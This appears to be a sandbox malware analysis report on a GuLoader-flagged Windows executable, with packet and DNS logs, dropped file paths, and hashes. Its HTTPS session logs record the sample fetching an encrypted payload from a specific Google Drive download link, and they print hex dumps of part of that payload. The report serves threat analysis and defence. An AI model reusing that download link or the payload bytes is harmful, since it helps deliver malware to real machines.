Feb 19, 2025 20:37:27.424271107 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.425216913 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.425261021 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.425267935 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.425308943 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.426686049 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.426728964 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.426737070 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.426780939 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.431682110 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.431746960 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.431775093 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.431981087 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.431981087 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.432010889 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.432064056 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.432414055 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.432465076 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.432517052 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.432523012 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.432549953 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.432595015 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.432600975 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.432640076 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.433577061 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.435012102 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.435039043 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.435076952 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.435084105 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.435106993 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.435122013 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.436314106 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.437594891 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.437621117 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.437655926 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.437664032 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.437678099 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.437706947 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.438875914 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.440104961 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.440133095 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.440181017 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.440196991 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.440207958 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.440238953 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.441555023 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.442965984 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.443002939 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.443135977 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.443141937 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.443186045 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.445219994 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.445276022 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.445333004 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.445338011 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.448221922 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.448225975 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.448431015 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.452974081 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.453133106 CET	443	49977	216.58.206.33	192.168.2.8
Feb 19, 2025 20:37:27.453192949 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.453282118 CET	49977	443	192.168.2.8	216.58.206.33
Feb 19, 2025 20:37:27.453299999 CET	443	49977	216.58.206.33	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2025 20:37:22.537163019 CET	59139	53	192.168.2.8	1.1.1.1
Feb 19, 2025 20:37:22.544636965 CET	53	59139	1.1.1.1	192.168.2.8
Feb 19, 2025 20:37:23.896176100 CET	62579	53	192.168.2.8	1.1.1.1
Feb 19, 2025 20:37:23.905282021 CET	53	62579	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 19, 2025 20:37:22.537163019 CET	192.168.2.8	1.1.1.1	0x5346	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:37:23.896176100 CET	192.168.2.8	1.1.1.1	0x7dee	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 19, 2025 20:37:22.544636965 CET	1.1.1.1	192.168.2.8	0x5346	No error (0)	drive.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Feb 19, 2025 20:37:23.905282021 CET	1.1.1.1	192.168.2.8	0x7dee	No error (0)	drive.usercontent.google.com		216.58.206.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49976	142.250.185.78	443	6404	C:\Users\user\Desktop\Vidneafhring.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:23 UTC	216	OUT	GET /uc?export=download&id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-02-19 19:37:23 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:23 GMT Location: https://drive.usercontent.google.com/download?id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce--Rgc4jyOToUbxb_HT8F4Qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49977	216.58.206.33	443	6404	C:\Users\user\Desktop\Vidneafhring.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:24 UTC	258	OUT	GET /download?id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-02-19 19:37:27 UTC	5010	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AHMx-iEjerfzlaKxENUHv3M_3_rC_OLXnCqysRbXJZvitbly9-s5kfTCYa0Nq9t-NWWnbeyV Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="RUsjBNgY13.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 289856 Last-Modified: Tue, 18 Feb 2025 07:50:12 GMT Date: Wed, 19 Feb 2025 19:37:26 GMT Expires: Wed, 19 Feb 2025 19:37:26 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=K8IOLA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-02-19 19:37:27 UTC	5010	IN	Data Raw: 25 b3 af c4 13 e1 bd 6f 1b c6 1b 5c 09 5d 9d b6 d1 a5 d0 46 03 be b5 c0 de b6 0a b6 00 eb e6 d6 c5 c1 06 89 1d d0 cc ee ca 9d b6 37 15 30 38 06 1d ba 6c c4 ec cf d3 64 26 a5 eb 91 c4 5b 5c 3c 43 cf 0b 8b df e8 1e 26 6e 64 61 c9 e4 d6 7f 2e 23 ca 30 20 de 5e d3 47 9a 4f e4 b2 94 60 3a ee 23 28 76 3f a1 74 13 02 a7 a7 af 0f 36 98 6c 64 54 9d 3e bf a0 72 9a ea f2 51 b6 6a 74 84 8b e2 58 9c 00 d9 3a 99 9b 57 f2 54 96 20 ad df 73 d0 81 f0 cb f2 9a fe 78 b4 5a 5f 62 88 34 9c 23 aa 7d 46 65 90 d6 a0 2c ff c6 16 8e 3e 15 3c 90 dd 8d 26 a5 dd e6 38 63 4d 71 fd 6b e8 95 4a fb 87 13 d0 a1 bf eb 22 cc b7 a5 f6 ac bf 86 ef 46 1f ee 88 63 85 50 fa 33 6b 14 6f 39 11 e3 08 dd 6a b4 d6 da f8 a3 3c ad a9 3b 67 36 fb 38 5c 60 1a 63 c0 41 ae b0 13 69 1f 7b bd f3 2b 79 a6 fb Data Ascii: %o\]F708ld&[\<C&nda.#0 ^GO`:#(v?t6ldT>rQjtX:WT sxZ_b4#}Fe,><&8cMqkJ"FcP3ko9j<;g68\`cAi{+y
2025-02-19 19:37:27 UTC	4674	IN	Data Raw: 22 3e ac bc 19 27 06 b5 17 0a 57 56 b1 f0 8d 33 0d 3d 53 3f ab a3 69 99 ab 78 22 2e 31 bb 36 cf 11 ae 30 38 e6 a7 2f 19 f4 4a 00 4a 7b a6 bb e7 a2 bd 83 48 d0 95 d9 37 83 b3 d8 2b f3 d1 22 bd 93 38 74 8b 48 c7 0f 46 96 95 af c5 a6 87 f0 24 52 ca 8d 02 74 10 fa 6d a7 f3 c8 4b 20 82 97 03 cb d1 b6 a7 3a fb 7f c2 f4 48 ce 6e 9f fe 75 6b be 57 54 d1 78 2a 3b bf c0 32 10 6d 51 c4 40 de 79 f1 23 18 51 13 88 85 cf d2 30 4b 64 81 1a b2 a5 bb 9e 7f e5 ed 80 08 1a 3b 09 e0 57 9b 4d 84 01 51 2a 35 87 f7 a4 70 e6 43 89 0f 69 a0 84 d1 81 64 99 91 25 e0 20 84 d6 f1 eb ce 43 27 9e a2 1a 66 e4 3a ab 85 53 f8 77 4e 16 00 5a 9c 8e ce c8 02 a2 bc 90 b2 f2 17 23 f0 3b 12 45 4c 62 05 b6 0a ef 8e 4d 5d 7a 3e b3 76 1a 98 86 6e 1e 66 1c ee 1d cd c3 10 de f6 26 fc f9 30 cc cd 50 Data Ascii: ">'WV3=S?ix".1608/JJ{H7+"8tHF$RtmK :HnukWTx;2mQ@y#Q0Kd;WMQ5pCid% C'f:SwNZ#;ELbM]z>vnf&0P
2025-02-19 19:37:27 UTC	1326	IN	Data Raw: 06 aa 59 5f 64 c6 06 d5 cc f7 29 08 e1 65 57 6b 25 04 b3 15 83 c3 38 be dc 61 60 a2 be 52 d0 a8 cd e9 a2 38 24 c3 f6 f7 2e e3 8b 84 d4 04 b8 7d 8f 63 c9 5a 20 03 26 07 f1 ea 35 e4 20 f6 1d 0a de 95 37 b7 9c 61 76 d2 71 4e 8d f6 b0 32 16 b9 6b f1 82 a8 f1 8c 97 35 44 09 8e 16 c1 c5 6b 51 3d be 96 35 4e c9 9f 37 e2 07 42 0c b7 4f 89 9b 06 f3 56 91 ac bf c0 98 93 b0 90 c7 38 3b 07 d5 ba 58 74 0f d3 30 36 cc 9e 38 af 65 93 6d 52 7d 9f 8f af de 29 c5 c9 2c 96 38 35 dc cd a8 f1 1c 6f 8b 41 d5 2d ad 1a e7 a8 42 8b f0 53 61 89 a9 4c 9e b4 64 c7 b9 bf 80 35 01 aa 00 58 5b da 57 06 69 d8 28 10 4c 02 19 ba 81 0c 29 c3 eb 27 72 98 bd a7 cb 0a d0 c8 fc 54 75 94 df 1a 6b cb d2 c5 c1 69 bb de 96 2d 4a 0b ca 27 55 94 12 ae c5 4c 2e c7 7f 3f 64 dd e3 73 fd da fc b7 f2 fc Data Ascii: Y_d)eWk%8a`R8$.}cZ &5 7avqN2k5DkQ=5N7BOV8;Xt068emR}),85oA-BSaLd5X[Wi(L)'rTuki-J'UL.?ds
2025-02-19 19:37:27 UTC	1390	IN	Data Raw: 2f 0a ce 88 2d f7 74 0c 19 d0 75 b2 19 51 48 57 24 42 03 f9 8f 3d 00 9d 02 d8 81 04 dc 0e c1 e4 03 7c 5e ae af f4 2d bd 0a 7f a9 ee ae 6c 14 00 d5 e5 37 ca 8c 6f 3b 08 f0 57 13 04 b7 28 a0 36 f4 fe 4d c4 2b 38 33 cc de 4c e7 05 2e 57 c6 52 61 d4 15 10 28 f7 f6 2b 60 f6 21 32 59 c8 c1 bd 71 e7 85 47 1f 65 de dc 99 76 f0 70 d6 b1 27 ee 15 e1 12 c1 95 e0 79 35 b0 9f dd cb c9 92 0d 4a f7 4d 5d 5b 75 51 69 19 d3 1a 66 92 9e 30 12 a3 66 27 c3 76 13 7b f8 1c e5 17 23 05 16 42 65 90 2b f3 a5 fa d3 8e d6 34 c6 4b 53 42 10 c8 a8 37 5d 0a 6b f8 7a 20 a7 fe 41 74 94 f2 72 20 d9 cd 94 b6 79 2b 58 51 51 e5 eb 14 e5 d7 cd 9b 6c 7f 02 49 51 a7 77 d8 6b bd 0f d9 f7 00 b5 ce 9b a2 e1 0a 3b 7b 2a 85 f6 e9 69 5f 8f ce aa de af d1 cf 54 4a eb 5d 29 f7 17 7b 86 99 17 9d fb a4 Data Ascii: /-tuQHW$B=\|^-l7o;W(6M+83L.WRa(+`!2YqGevp'y5JM][uQif0f'v{#Be+4KSB7]kz Atr y+XQQlIQwk;{*i_TJ]){
2025-02-19 19:37:27 UTC	1390	IN	Data Raw: bc 2f e9 59 74 f6 67 c9 d5 65 c7 0e dc 8b dc 91 23 b7 f1 21 1e 19 d1 f5 05 c2 07 27 3f 7a 87 18 52 f6 31 39 ed 36 15 33 f8 1b 77 dd 58 30 10 19 81 ba d9 1b 36 5d 32 88 65 3f 7a 4e df ff bc 52 c0 41 7f 14 7a 2d 66 30 77 5a 81 75 42 9d 4d 7a 5e 29 97 c5 27 56 e1 9e 74 ca 17 01 d7 ed 21 b1 9d 7c 5b aa 41 ef 60 40 be e2 de e5 6e 83 dc 96 66 77 b5 9d 5c d6 fb 6f 5c 51 6a 8f ee 67 1c b8 88 1c 13 ed e6 ab 52 1c f4 2a c9 27 31 a8 71 17 6a 90 fc 04 07 08 f8 ed b2 18 3b 4b 82 18 64 b5 40 aa e0 b8 db 94 7d 05 06 07 4d 26 1d 79 f1 04 7d 99 e4 6a 38 2d f3 1c 08 1c 2b 3f eb 03 c9 10 d1 f9 4f 7c b0 64 e4 9c af 27 d7 6d 90 84 53 21 cb 68 92 0e 99 4a b7 e3 19 6d d1 00 d8 ba 48 bf 64 13 bc 0c db a2 7a b4 31 62 e0 0d bb 68 90 eb ea 7a 27 e1 f8 1e 34 a4 e2 f7 bb 7b 5c cc 23 Data Ascii: /Ytge#!'?zR1963wX06]2e?zNRAz-f0wZuBMz^)'Vt!\|[A`@nfw\o\QjgR*'1qj;Kd@}M&y}j8-+?O\|d'mS!hJmHdz1bhz'4{\#
2025-02-19 19:37:27 UTC	1390	IN	Data Raw: 7d 82 55 8b b9 65 27 3d f8 4b 4d 86 82 bd 57 01 2d dd 77 0f c1 32 ed 95 3a b0 e6 99 bd 33 b1 ce b0 f7 b7 eb 11 88 bb cf 99 50 47 ee 86 1f 06 ae a4 1c ea 36 b8 a0 80 25 36 97 0a 0e 05 f1 75 d4 0f 2a 9d 1d b0 3a 37 c9 fd 1b 4e 81 74 fc 45 27 cf 9e 0e 77 87 94 be 59 7c 00 19 a7 b5 b1 5d e2 18 6b 44 3a 54 90 fd 8f d0 6a 9c 83 29 e1 e2 e9 7e 00 cc 0a 37 d8 5a 75 77 06 44 9b 46 a3 05 fc aa eb c2 ee 43 86 95 60 23 df 35 52 67 cf 1f 9a 3a 05 e7 e9 4e 46 3a 0f 64 bc 32 0a d1 8b d6 5f e5 df bf b4 1b 25 79 b2 f0 9f f2 e2 f8 93 a8 fe 7b ee 57 3d 08 44 60 ae d7 ac 40 e9 c5 f1 fe e9 4b a4 df 64 01 32 f8 35 d9 c4 ca 5d 0e 2e 45 4b 51 77 cb 43 66 1e 84 47 b6 e2 05 bf 98 e0 b4 2c 18 75 4f 79 1c 34 af ba 8e 83 cf 9e 8f 57 1c f5 93 a3 92 c0 0d aa 30 4a 0a 4e 67 f4 89 bd 8f Data Ascii: }Ue'=KMW-w2:3PG6%6u*:7NtE'wY\|]kD:Tj)~7ZuwDFC`#5Rg:NF:d2_%y{W=D`@Kd25].EKQwCfG,uOy4W0JNg
2025-02-19 19:37:27 UTC	1390	IN	Data Raw: d4 38 45 e1 70 d9 0e 68 b0 71 f5 31 51 88 e8 73 6c fa f8 11 cc e8 b1 4f 82 5c 47 dd 60 f2 94 b6 bc 37 fd d6 e9 0a da 36 74 d3 a5 a5 d6 32 b4 74 2d cb 7f 15 1c 03 dd a8 c6 a9 50 48 a7 5d 5b 21 80 d6 e7 fd 61 f1 cb a6 ef 47 41 67 aa a5 8f b5 77 44 fa 64 0b dc 84 87 49 55 13 13 7c fd 95 be 92 6c 6b f8 6d f3 67 82 a1 1f 81 56 ec 5a 5e 39 d5 fb 6b 3e 2c 3c c8 0d 1b 0c 4b 62 ca 82 f5 e0 79 45 bb b0 0d b7 05 cd 6f ed c4 d6 40 13 61 23 9e 80 0b 56 dd 09 9c 4b 7b 65 c0 69 cf 85 3b 33 a7 e6 8c 50 c3 da 3d 8a 22 70 ae 66 1f 0d 17 83 ce cc cf 5f c0 9a b0 08 e7 ed f5 b3 2d 3f 99 9a 1e 6a 45 43 2c 5c ea 2d 2e 4a 61 f6 1b d8 04 95 d0 6c 69 00 99 ac 60 90 44 82 a0 a7 f3 05 53 c8 c6 07 96 8e 41 07 c1 3a 90 f7 95 df 8a fc 49 5f 5c c9 ed a6 db 1d 20 ed 8e 8b 53 eb dc c8 88 Data Ascii: 8Ephq1QslO\G`76t2t-PH][!aGAgwDdIU\|lkmgVZ^9k>,<KbyEo@a#VK{ei;3P="pf_-?jEC,\-.Jali`DSA:I_\ S
2025-02-19 19:37:27 UTC	1390	IN	Data Raw: 4c 69 89 89 63 36 53 b3 2d 9e 11 d5 57 14 83 3e 7e a0 4c a5 b9 69 f3 3f b9 93 c9 db 01 12 b5 39 c2 75 55 22 5b b7 7c 16 d3 8d 71 dd 22 35 58 b9 92 7f 4a 7d 63 19 69 9a 47 24 9e 30 77 08 c9 8e 53 d4 f7 0e 8c d9 e4 28 35 33 85 d6 44 e7 46 3a 62 1e 54 71 3d 8f ae 2f 32 0a dd 69 d7 e5 4a 20 51 fb e8 de 88 e0 dd ac 34 62 14 8b 8f 80 ba 3c 25 c4 a8 30 52 46 fc f3 2e ae bd f7 66 b9 52 f6 e0 ca 25 19 3b 60 a4 82 4c 91 9d 8e 08 bb 9f fc 9c 21 e7 5e 85 cc b0 7b 5f d3 77 b1 4e 73 01 a9 5c 0a b0 6a 4a f7 44 e7 40 10 e3 c0 ae a3 1d dc 35 88 0b aa 6d f3 48 a7 df 5d 7b 7e 87 68 4a f0 76 cb e3 8c 3b 6f 98 eb a5 b0 f5 2f b2 6c 75 3b ee 07 c2 ec 79 ae f5 bc 4f e8 6d c9 29 d7 aa a5 f2 ae 8c b7 a0 66 81 97 c8 44 db b2 2a 96 04 cb ff 23 97 72 78 53 c8 40 9f 72 d2 65 81 31 d0 Data Ascii: Lic6S-W>~Li?9uU"[\|q"5XJ}ciG$0wS(53DF:bTq=/2iJ Q4b<%0RF.fR%;`L!^{_wNs\jJD@5mH]{~hJv;o/lu;yOm)fD*#rxS@re1
2025-02-19 19:37:27 UTC	1390	IN	Data Raw: f7 c9 09 1f 9c 3d b7 be 68 30 b6 00 54 b6 86 6d 86 f9 e1 4b df e2 c9 f6 17 d9 74 9d 34 40 51 48 6f 23 04 f7 d7 46 55 84 62 0b fb 60 d8 ad e7 6c 80 ec cc e6 3c 37 08 d4 09 e1 0f f4 c3 b0 97 1c 28 6c 3a 50 43 fd 31 44 d7 12 49 ad ac 62 76 5a 0c c7 ce 3f c0 dd aa 06 91 2f 98 fc b6 df 43 6d 88 20 90 67 1c 41 d0 63 2d 2f d5 5e 02 13 ec 71 93 c7 69 47 f8 16 67 0b dd 63 be 6c 09 d4 90 84 59 de 1c e6 f7 0c c6 6d ed 96 7b 4b 3b ec 10 4c 6d 75 b4 d4 ba 54 74 81 72 a8 28 99 72 dc 88 c6 7d 53 de f0 69 b8 9d 12 d9 51 bf 8c d5 bf 4e cc 62 3d a2 6b 72 46 82 45 72 93 f9 b8 e6 8d 2c 48 4a 26 54 a2 02 b7 52 e2 c8 55 97 9c 47 08 0f 31 76 37 a0 4e 74 e7 8d 0b e5 86 a8 2d 58 89 e0 de e0 13 9a ae bc cc 0c b9 aa 70 fe b3 81 4b 4c 8b b1 eb d0 ff 93 13 16 79 61 32 34 4d 60 20 6c Data Ascii: =h0TmKt4@QHo#FUb`l<7(l:PC1DIbvZ?/Cm gAc-/^qiGgclYm{K;LmuTtr(r}SiQNb=krFEr,HJ&TRUG1v7Nt-XpKLya24M` l
2025-02-19 19:37:27 UTC	1390	IN	Data Raw: a5 90 1f 74 7e ef b5 82 87 73 6a c0 bb bf 15 99 46 fb 50 f6 18 d6 9e 9b cf f2 53 80 18 51 86 57 e7 5d aa 20 75 5d f6 03 a2 74 96 f4 f6 f7 65 9c 43 fb b2 8e 1b 59 ad 24 e0 1d 02 bb 04 58 fb 54 90 7f 88 cd 6f 08 5e 72 c1 f5 72 a8 35 4c c4 2c d2 f5 39 4c 81 bc 0b 08 0e 5e 00 db 55 e1 c8 1f 9c 4d f1 91 f9 b0 de ba 81 3d 35 59 ff a5 10 1c bd 5b 53 5d 8d 32 65 2c a8 8c 6d 7a 02 7b 09 b2 fc 70 6b d1 2e f1 e2 ff 5e 27 0c bb 8c 73 11 02 80 b8 7f b8 13 2d 12 6b d9 f5 56 30 92 a2 e3 3f 6e 9d f8 aa 6e ec 58 44 18 a6 03 bd d7 1a 1b 02 e6 51 ae 43 56 72 f4 d4 ce 4d 79 64 06 8a 1b 9f 0b 4f 0b 15 40 da d5 7f 4b 95 e4 b9 c6 81 25 ce ed 0b 29 85 34 cf 25 c0 31 74 e1 c0 7f 8a fa ce c6 b9 d5 56 4a 9d c6 0b b8 b6 b7 03 2c 90 a1 9d f1 b3 bc b5 a1 98 e9 9d 17 cf f4 d1 7c 87 05 Data Ascii: t~sjFPSQW] u]teCY$XTo^rr5L,9L^UM=5Y[S]2e,mz{pk.^'s-kV0?nnXDQCVrMydO@K%)4%1tVJ,\|

Target ID:	0
Start time:	14:35:27
Start date:	19/02/2025
Path:	C:\Users\user\Desktop\Vidneafhring.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Vidneafhring.exe"
Imagebase:	0x400000
File size:	1'105'632 bytes
MD5 hash:	24C3013EE542B77EB416866A4DCDF66E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2561094326.00000000055D3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:37:11
Start date:	19/02/2025
Path:	C:\Users\user\Desktop\Vidneafhring.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Vidneafhring.exe"
Imagebase:	0x400000
File size:	1'105'632 bytes
MD5 hash:	24C3013EE542B77EB416866A4DCDF66E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Vidneafhring.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsi680F.tmp\LangDLL.dll

C:\Users\user\AppData\Local\Temp\nsi680F.tmp\System.dll

C:\Users\user\Videos\picotah.ini

C:\Users\user\resuscitant\Daasel\Biobrndsel28.mid

C:\Users\user\resuscitant\Daasel\Cofane.ini

C:\Users\user\resuscitant\Daasel\Distributionsorganisation73.unb

C:\Users\user\resuscitant\Daasel\Opholdstiden199.gan

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\Stereotypic.ini

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\Tilkomne.txt

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\anthema.jpg

C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\anthropomorphotheist.jpg

